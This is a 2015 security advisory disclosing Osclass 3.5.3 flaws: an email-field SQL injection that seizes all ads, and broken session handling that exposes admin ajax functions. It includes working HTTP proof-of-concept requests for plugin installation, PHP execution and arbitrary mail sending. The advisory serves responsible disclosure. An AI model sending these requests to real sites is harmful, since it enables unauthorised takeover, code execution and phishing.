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Vulnerability Advisory – Vendor Disclosure 
 

Name Osclass Multiple Vulnerabilities 

Vendor Website http://osclass.org/ 

Affected Software Osclass 3.5.3 

Public Advisory Date 2015-04-08 

Researchers Pedro Worcel <pedro.worcel@security-assessment.com> 

 

Description 

Multiple issues in Osclass allow an unauthenticated user to perform various administrative tasks. Additionally, a 

restricted SQL injection vulnerability allows for complete takeover of all published ads.  

These vulnerabilities may potentially allow an attacker to execute arbitrary code on an up to date system, provided 

they can upload a malicious plugin to the Osclass market. 
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SQL Injection 

Exploitation 

An unauthenticated attacker may abuse this vulnerability in order to take over arbitrary classifieds. Even with 

constraints on input, Security-Assessment.com was able to take ownership over all 'classifieds' on any Osclass 

installation without authentication. 

Applications that do not correctly validate or sanitize user input embedded into insert statements can be exploited in 

several ways, such as by modifying the where clause in order to alter rows not intended by the application 

developers. 

An attacker needs to have a valid session and CSRF token; both can be obtained without authentication. The 

following request leverages the SQL injection to grant authorship of all ads in the application to a newly created 

account: 

POST /osclass/index.php HTTP/1.1 

Host: 192.168.48.32 

Cookie: osclass=VALID_UNAUTHED_SESSION_FOR_CSRF 

Content-Type: application/x-www-form-urlencoded 

Content-Length: 310 

 

CSRFName=VALID_CSRF_TOKEN&CSRFToken=VALID_CSRF_TOKEN&page=register&action=register_po

st&s_name=asdasdasd&s_email=emailaddr3'/**/or/**/1=1#%40asdasdaa.com&s_password=asdas

d&s_password2=asdasd 
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The issue is caused by a lack of user-input sanitization. The Data Access Object utilized fails to do so under 

circumstance, as can be seen in the following images: 

oc-includes/osclass/UserActions.php 

 

oc-includes/osclass/model/Item.php 

 

 

This vulnerability could not be used to execute arbitrary SQL because parentheses were not able to be input into the 

user email address. 

Solution 

 Update to the latest version of Osclass. 
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Broken Authentication and Authorisation Controls 

Exploitation 

The application fails to exit when a user presents an invalid or non-existent session, a malicious user may execute 

all functionality available in the "ajax" administrative page. This includes installing arbitrary plugins from the Osclass 

market, including PHP files for execution (provided that they are present in the plugins folder), and sending arbitrary 

emails, among other things.  

Provided an attacker can upload a malicious plugin to the Osclass market, this can be leveraged without 

authentication to execute arbitrary PHP code. An attacker needs to have a valid session and CSRF token; both can 

be obtained without authentication. 

The following request can be issued in order to install an arbitrary plugin from the market: 

GET /osclass/oc-

admin/index.php?page=ajax&action=market&CSRFName=VALID_CSRF_TOKEN&CSRFToken=VALID_CSR

F_TOKEN&code=sitemap-generator&section=plugins HTTP/1.1 

Host: 192.168.48.32 

Cookie: osclass=VALID_UNAUTHED_SESSION 

 

To which the server will respond with a “Session timed out” message, followed by a “Plugin successfully installed” 

message: 
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The following request can be issued to execute an arbitrary PHP file in the “oc-content/plugins/” folder: 

POST /osclass/oc-admin/index.php HTTP/1.1 

Host: 192.168.61.156 

Content-Type: application/x-www-form-urlencoded; charset=UTF-8 

Content-Length: 59 

 

page=ajax&action=custom&ajaxfile=google_analytics/admin.php 

To which the server will respond: 

 

Depending on what plugins are installed, this may bring additional security concerns. No vulnerabilities were 

identified in plugins bundled with Osclass’ default installation. 
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This vulnerability may also be exploited to send arbitrary emails. This may facilitate spamming or phishing attacks. 

The following request is a Proof of Concept: 

POST /osclass/oc-admin/index.php HTTP/1.1 

Host: 192.168.48.32 

Content-Type: application/x-www-form-urlencoded; charset=UTF-8 

Content-Length: 103 

 

page=ajax&action=test_mail_template&email=VICTIM_EMAIL&title=Arbitrary 

Title&body=Arbitrary content 

An email as follows is sent by the CMS: 

 

This issue is caused by a lack of an exit command after the “Session timed out” message is displayed. The code 

which causes this issue can be seen below: 

 

Solution 

 Update to the latest version of Osclass. 
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Responsible Disclosure Policy 

Security-Assessment.com follows a responsible disclosure policy.  

About Security-Assessment.com 

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality 

Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest 

globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. 

Our aim is to provide the very best independent advice and a high level of technical expertise while creating long 

and lasting professional relationships with our clients. 

Security-Assessment.com is committed to security research and development, and its team continues to identify 

and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-

Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related 

to new security research. 

For further information on this issue or any of our service offerings, contact us: 

Web www.security-assessment.com 

Email info@security-assessment.com 

Phone +64 4 470 1650 

Timeline 

2015-03-20 - Initial contact with vendor asking for disclosure address and GPG keys. 

2015-03-23 - Obtained an email address and sent advisory. 

2015-03-24 - Vendor promptly resolves issue and asks to corroborate fixes. 

2015-04-08 - Public Advisory. 
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